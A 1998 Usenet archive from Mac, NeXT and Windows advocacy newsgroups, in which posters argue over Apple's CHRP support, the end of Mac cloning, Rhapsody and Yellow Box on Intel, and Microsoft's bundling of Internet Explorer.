Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2005982113060001@elk106.dol.net>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97>
In article <B1889C05-1320C@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >After all, Apple never stopped Motorola from selling CHRP boxes. Where are
> >they?
>
>
>
> "We will never give them MacOS 8 for CHRP" -CFO of Apple in teleconference
> about dropping clone-makers.
>
> Sounds like Apple stopped Motorola from selling CHRP.
Wrong. Motorola can make all the CHRP boxes they want. You're confusing
the issue.
CHRP is only useful with an OS. Agreed?
Microsoft, IBM, Novell, and Sun all dropped their CHRP OSs before Apple. Agreed?
So, Apple was the only vendor left making an OS that ran on CHRP. They
were the last to drop it. Right? THAT is exactly what I said.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 20 May 1998 21:27:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2005982127320001@elk106.dol.net>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <joe.ragosta-2005981532310001@wil105.dol.net> <see-below-2005981807560001@209.24.242.183>
In article <see-below-2005981807560001@209.24.242.183>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <joe.ragosta-2005981532310001@wil105.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > As for the first point, this is beyond bogus. Motorola had machines ready
> > > to ship based on CHRP. They were predicint a $1 billion/year revenue from
> >
> > All of the other OS vendors dropped CHRP before Apple did.
> > Apple was the last--or are you saying that some other OS vendors supported
> > CHRP longer than Apple?
>
> I'm sorry Joe, but this is unadulterated bullshit. The other vendors
> _shipped_ product for CHRP. Apple never even bothered. By the time you
> claim Apple "dropped" support (which Apple had never even given in the
> first place other than in empty words), the others had come, and gone.
Not true. Please point to a single OS that ever shipped for CHRP.
NT shipped for PPC, but only the older systems--not CHRP. OS/2 was the
same, IIRC.
Solaris and Netware for PPC never shipped.
MacOS 8 was reported to run unmodified on CHRP machines. So, of all the
major vendors, Apple was the only one to ship a product which ran on CHRP.
It was also the last to be supporting CHRP.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: roger@.
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 01:30:13 GMT
Organization: gte.net
Message-ID: <6jvvln$mg9$1@gte1.gte.net>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net> <tvy3ee4enaj.fsf@cn1.connectnet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 20 May 1998 19:48:33 GMT, someone claiming to be Darin Johnson
wrote:
>From what I read, it was an "allowable option". They're not requiring
>it (as far as what I read on Tuesday anyway). There are other
>allowable options, less onerous to MS.
Well, MS seemed to find them all more-or-less onerous.
>> But the OEMs can do that now. Sony and Compaq, for example.
Regarding installing NS, to put the context back in. And it looks
like I was incorrect, and Compaq does not currently preinstall NS.
>All of them? Even a mom-and-pop-will-build-you-a-computer-shop?
* Especially * mom-n-pop. They are unlikely to have signed an
agreement directly with MS, so they have even more leeway than a big
brand name.
Of course, they also don't get the perks of such a license --lower
per-unit cost, additional support, exposure to new products before
they are released...
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:51:38 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981951380001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981606110001@132.236.171.104> <6jnioc$q2s$1@crib.bevc.blacksburg.va.us> <ericb-1805981403350001@132.236.171.104> <6jpube$rqq$1@crib.bevc.blacksburg.va.us>
In article <6jpube$rqq$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <ericb-1805981403350001@132.236.171.104>, ericb@pobox.com
(Eric Bennett) wrote:
> > The fact that Apple has bothered to test YB on the Windows betas is
> > certainly reassuring, although I still don't see what Apple has to gain by
> > not making their support for the x86 public.
>
> What do you mean they haven't made their support for the x86 public??
> They have _very clearly_ stated in public that Yellow Box for Windows
> will be a supported product.
Sorry. I meant supported over the long term, so that it will continue to
have parity with the features available in MacOS X and its successors.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 18:40:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188D400-E597F@206.165.43.97>
References: <joe.ragosta-2005982127320001@elk106.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
>
>MacOS 8 was reported to run unmodified on CHRP machines. So, of all the
>major vendors, Apple was the only one to ship a product which ran on CHRP.
>It was also the last to be supporting CHRP.
Joe, CHRP was just PReP with Mac-isms added. Any OS that ran on PReP would
run on CHRP. Lots of OS's shipped for PReP.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 19:45:23 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2005981945230001@pm3a17.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmlqi$lms$1@ligarius.ultra.net> <6jru1d$pj8@aaron.hamilton.edu> <Josh.McKee-1905982007350001@pm3a22.rmac.net> <6jud9k$go1$1@ligarius.ultra.net>
In article <6jud9k$go1$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joshua T. McKee wrote in message ...
> >The most practicle way to get FAT32 would be to walk into a computer
> >store, pick up a box that contains "Windows 95 OSR2" release and buy it.
> >I don't consider having to purchase additional hardware (the HD) very
> >practicle when I could just purchase the product separately.
> >
>
>
> Josh, you've got the quoting wrong here. The comment about "practicle" isn't
> mine.
Sorry about that, my apologize.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 19:50:06 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2005981950070001@pm3a17.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net>
In article <6jtgid$vp6$5@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Thanks. That's precisely the point. Microsoft has made it trivial for third
> parties to include web browsing functionality in their products. Same with
> ftp and gopher. Why is that a bad thing? Why can't Netscape do the same?
> They've got some damn smart people working for them, so that's not much of
> an excuse.
Because Netscape doesn't control the OS like Microsoft does?
Josh
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 01:53:19 GMT
Organization: I don't think so
Message-ID: <slrn6m72ga.d1o.jason@jhste1.dyn.ml.org>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <joe.ragosta-2005981532310001@wil105.dol.net> <see-below-2005981807560001@209.24.242.183> <joe.ragosta-2005982127320001@elk106.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>Not true. Please point to a single OS that ever shipped for CHRP.
Geert Uytterhoeven is running Linux/PowerPC on a Long Trail-based
machine, FWIW.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 20:01:35 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2005982001360001@pm3a17.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net> <atlauren-1905982226470001@dialin33464.slip.uci.edu> <6jufq7$mrb$1@news.ox.ac.uk>
In article <6jufq7$mrb$1@news.ox.ac.uk>, "David McCabe"
<david.mccabe@balliol.oxford.ac.uk> wrote:
> Andrew Laurence wrote in message ...
> >In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >>>Or did MS
> >>>decide to sneak the HTML renderer into the kernal specifically so that it
> >>>couldn't be removed?
> >>
> >>It's not in the kernel. It's in a .DLL.
> >
> >Ergo, IE4 is not "essential functionality imbedded [sic] into the
> >operating system." (See earlier post.)
>
> Ridiculous. The OS is not simply a kernel with drivers any more. It is a
> collection of services to applications. This includes a kernel and device
> drivers, together with software libraries such as the internet access
> functionality present in Win98 and NT4. It is essential to the workings of
> the OS shell and to applications that run under the OS, so it is a 'feature'
> of the OS, and easily 'essential'.
Great, I want Word 97, Excel 97, PowerPoint 97, Access 97 and Project 97
software libraries with my next Windows OS. Since Microsoft is only doing
what consumers want, and this is something I want, can I assume that I
will see these in the next release of Windows?
Josh
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 21 May 1998 02:08:54 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6k02bm$6cv@newsb.netnews.att.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982104420001@209.24.240.108> <6jttav$lh$1@msunews.cl.msu.edu>
Originator: gupta@tlctest
Please note : I'm not saying that Apple should necessarily drop
Rhapsody on Intel.
I am saying that Apple is in no position to make promises
about Rhapsody on Intel.
What happens to Rhapsody on Intel depends on the reception
Rhapsody 1.0 receives, and whether yellow-box appln. development
takes off, giving R-on-Intel a lot of interesting applications.
It also depends on the future of x86, Merced, the importance of
keeping YB on Windows up-to-date, etc. etc.
Even if Apple makes a promise, you should not believe it because
no company can keep a promise to support a non-viable product,
and Rhapsody-on-Intel may prove to be so.
-arun gupta
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 19:45:29 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005981945290001@192.168.0.3>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
: Furthermore, the cloners were doing terrible things to the market.
:They preannounced 300MHz G3s last summer to be available by the fall.
:Now, if I'm not mistaken PowerLogix uses the exact same card those
:machines were going to and they couldn't
Wrong, Motorola's 300MHz G3s used their new CHRP motherboards, and even
to this day no shipping Apple systems have hit their benchmark scores.
(Though they are finally getting pretty close...) The fact of the matter
is IBM and Motorola can design motherboards that run rings around Apple's
PowerMac designs.
IMO, things would have turned out better if Apple had declined to
design the motherboards for all PCI Macs and just let Motorola & IBM do
it. Everything 'Macish' that they wanted like ADB, geoports, etc. could
have been slapped on a PCI card. Apple would have saved a bundle on R&D
costs and we'd have much more balanced systems. The cloning situation
would probably have been healthier for Apple and the cloners also.
: ship a G3 300 until early this
:year.
Probably because Apple got first dibs on the chips, and the board
manufacturers could only afford to buy relatively few.
:Those G3 demos were bullshit and wouldn't have beat G3 Macs to production
:(although they would have outperformed them in some respects).
They were some very fast pieces of feces. Nice design overall, easy to
expand, lots of slots and bays. Even the cases were nice looking. Apple
still doesn't have equivalent systems. Somehow, I think Motorola would
have gotten systems out a bit sooner than either Apple or the board
vendors. Those Starmax 6000s were *hot* and were not 'demo' quality at
all.
We're in a very awkward time period. Apple's current systems still have
not surpassed the CHRP G3 systems of last August. For now, the killing of
cloning has done nothing more than hold back innovation on the platform.
When Apple has a complete range of systems from the low-end to the
high-end and has gained substantial bits of marketshare then I might
reconsider my analysis.
:wouldn't have beat them on price because Apple wasn't going to give them
:Gossamer logic boards
The cloners didn't need Gossamer logic boards. They all had their own
low-end designs in the oven. All they needed were ROMs and licenses for
Mac OS 8. Incidentally, those hot new 0.7 inch thick PC laptops also came
in a CHRP version. One of the designers said that adding a G3 instead of a
603e would have been a relatively painless process.
: and the original CHRP design was more expensive to
:produce (and admittedly had more features).
The 6000s were priced appropriately for the time. I think they were
estimating ~5,000 for a nicely decked out system. They certainly would
have come down in price a lot by now.
-Eric
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:42:45 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981942450001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us>
In article <6jpu6k$rps$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Excuse me? The stated strategy is that it will be running on MacOS
> X and Windows in 18 months (actually, Windows in a few months), and
> probably also on a separate "Rhapsody" product (also in a few months).
> They have mapped out the technologies they have folded into it or are
> intending to fold into it, including scripting, Java, Quicktime, etc.
Where can I find a clear statement from an Apple official that Yellow Box
for Windows will still be actively developed in 18 months?
MacOS X I accept. Windows this fall I accept. But full yellow support
for Windows in 18 months? Full parity with yellow as it exists in MacOS
X? That is what I am questioning. Where has Apple clearly indicated that
it will keep developing Yellow for Intel well into next year?
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:44:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981944160001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36>
In article <see-below-1805981711480001@209.24.240.36>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> Also see
> <http://www.macnn.com/reality/archives/051898/news.shtml#RhapsodyIntel>
> for comfirmatin of Rhapsody for Intel versions _after_ 1.0, including this
> e-mail:
>
> ----------------- Begin forward message -----------------
> Subject: Re: Rhapsody/Yellow Box - RIP, Not!
> From: Jordan Dea-Mattson <xxxxxx@apple.com>
> Date: Wed, 13 May 1998 20:04:25 -0700
>
> Dear Julian -
>
> Apple will be delivering Rhapsody 1.0 for Intel and will continue to
> deliver Rhapsody for Intel. Bertrand stated this clearly in his keynote.
>
> We are not planning Carbon for Rhapsody and we are not planning Carbon
> for Windows. Yellow Box is our cross-platform API.
>
> Yours,
>
> Jordan
Who is Bertrand, and can I see this keynote at
http://isocket.gzx.com/theater.html ? If so, which session is it?
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:46:55 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981946550001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu> <joe.ragosta-1905980757210001@wil104.dol.net> <see-below-1905981826320001@209.24.240.108>
In article <see-below-1905981826320001@209.24.240.108>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> I agree. It appears you (and others who have maintained this for the last
> few days) are right about Rhapsody for Intel. I also think this is a
> mistake - a _big_ one. Apple has everything to gain and very little to
> lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
So does this make the questions about continued YB/Windows support look
any less loony to you guys? Do you see why I want a clear public
statement from Apple that they aren't dropping it?
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 19:30:51 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-2005981930520001@user-38ld60e.dialup.mindspring.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net> <tbrown-1905982250120001@mv163.axom.com> <6ju999$7vp$3@ns3.vrx.net>
In article <6ju999$7vp$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <tbrown-1905982250120001@mv163.axom.com> Ted Brown claimed:
> > Well, Apple already has an OS 8 Finder, why won't it work?
>
> It will, but it won't be tasked or protected under the new OS. Putting the
> only program that runs _all_ the time into the unprotected area is _bad_.
>
The Finder in MacOS X will be based on Carbon. *All* Carbon apps run in
their own protected address space and are scheduled preemptively against
other processes.
What was the question?
-mark
Date: Wed, 20 May 1998 21:02:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2005982102190001@elk106.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3>
In article <rex-2005981945290001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> : Furthermore, the cloners were doing terrible things to the market.
> :They preannounced 300MHz G3s last summer to be available by the fall.
> :Now, if I'm not mistaken PowerLogix uses the exact same card those
> :machines were going to and they couldn't
>
> Wrong, Motorola's 300MHz G3s used their new CHRP motherboards, and even
> to this day no shipping Apple systems have hit their benchmark scores.
> (Though they are finally getting pretty close...) The fact of the matter
> is IBM and Motorola can design motherboards that run rings around Apple's
> PowerMac designs.
The fact of the matter is that the system Motorola showed last summer
couldn't have been sold. The 300 MHz G3 wasn't even announced until
February of this year.
> IMO, things would have turned out better if Apple had declined to
> design the motherboards for all PCI Macs and just let Motorola & IBM do
> it. Everything 'Macish' that they wanted like ADB, geoports, etc. could
> have been slapped on a PCI card. Apple would have saved a bundle on R&D
> costs and we'd have much more balanced systems. The cloning situation
> would probably have been healthier for Apple and the cloners also.
>
> : ship a G3 300 until early this
> :year.
>
> Probably because Apple got first dibs on the chips, and the board
> manufacturers could only afford to buy relatively few.
Nope. Because the chips weren't even announced until February.
Motorola and Power Computing were masters at this--preannouncing systems
that couldn't be shipped for many months. I was on a waiting list for a
PowerBase for months and cancelled it when they _still_ weren't shipping
any systems.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:53:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2005981953160001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6jnfgg$prv$1@crib.bevc.blacksburg.va.us> <ericb-1805981350170001@132.236.171.104> <see-below-1805981709380001@209.24.240.36> <6jqipq$slo$1@crib.bevc.blacksburg.va.us>
In article <6jqipq$slo$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Correct, Apple never mentioned a deadline or shipping date for YB/MacOS.
> They _did_ state that they would ship it, but apparently they've decided
> to do that by redefining the word "MacOS". :)
Sort of like how Microsoft redefined Cairo? :-)
There was an information vaccuum in Cupertino. Either we had to assume
what Apple's plan was or assume they had no plan at all. Most people
assumed, and Apple certainly suggested, that Yellow would run on MacOS 8.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: Tue, 19 May 1998 23:01:53 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356255B1.B30D46EB@milestonerdl.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jthrl$hg1$1@news.digifix.com> <3562452B.1A0A2C09@milestonerdl.com> <6jtmfa$de$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> Ah, the infamous anti-Apple Rassbach Paranoia (TM) is back, wherein any
> media mistake or his own general cluelessness is blamed on Apple.
Funny. The Newton Developer message seemed clear enough in its day.Same with OpenDoc.
Or, on Wed, the Rhapsody on Intel is OK
vs Friday where it's DOA.
Yup. Must just be me that thinks Apple can't communicate clearly/lacks a plan they CAN
communicate.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 19:36:26 -0700
Message-ID: <see-below-2005981936260001@209.24.242.183>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97> <joe.ragosta-2005982113060001@elk106.dol.net>
In article <joe.ragosta-2005982113060001@elk106.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <B1889C05-1320C@206.165.43.97>, "Lawson English"
> <english@primenet.com> wrote:
>
> >
> > "We will never give them MacOS 8 for CHRP" -CFO of Apple in teleconference
> > about dropping clone-makers.
> >
> > Sounds like Apple stopped Motorola from selling CHRP.
>
> Wrong. Motorola can make all the CHRP boxes they want. You're confusing
> the issue.
>
> CHRP is only useful with an OS. Agreed?
>
> Microsoft, IBM, Novell, and Sun all dropped their CHRP OSs before Apple.
Agreed?
Absolutely not agreed! How in the world can you say Apple ever "dropped"
something they never delivered in the first place?
> So, Apple was the only vendor left making an OS that ran on CHRP. They
> were the last to drop it. Right? THAT is exactly what I said.
Absolutely incorrect. I know that's what you said, and it was a flat out
lie the first time you said it. I'm sorry, Joe, but this is one issue you
don't have a leg to stand on.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rex@smallandmighty.com (Eric King)
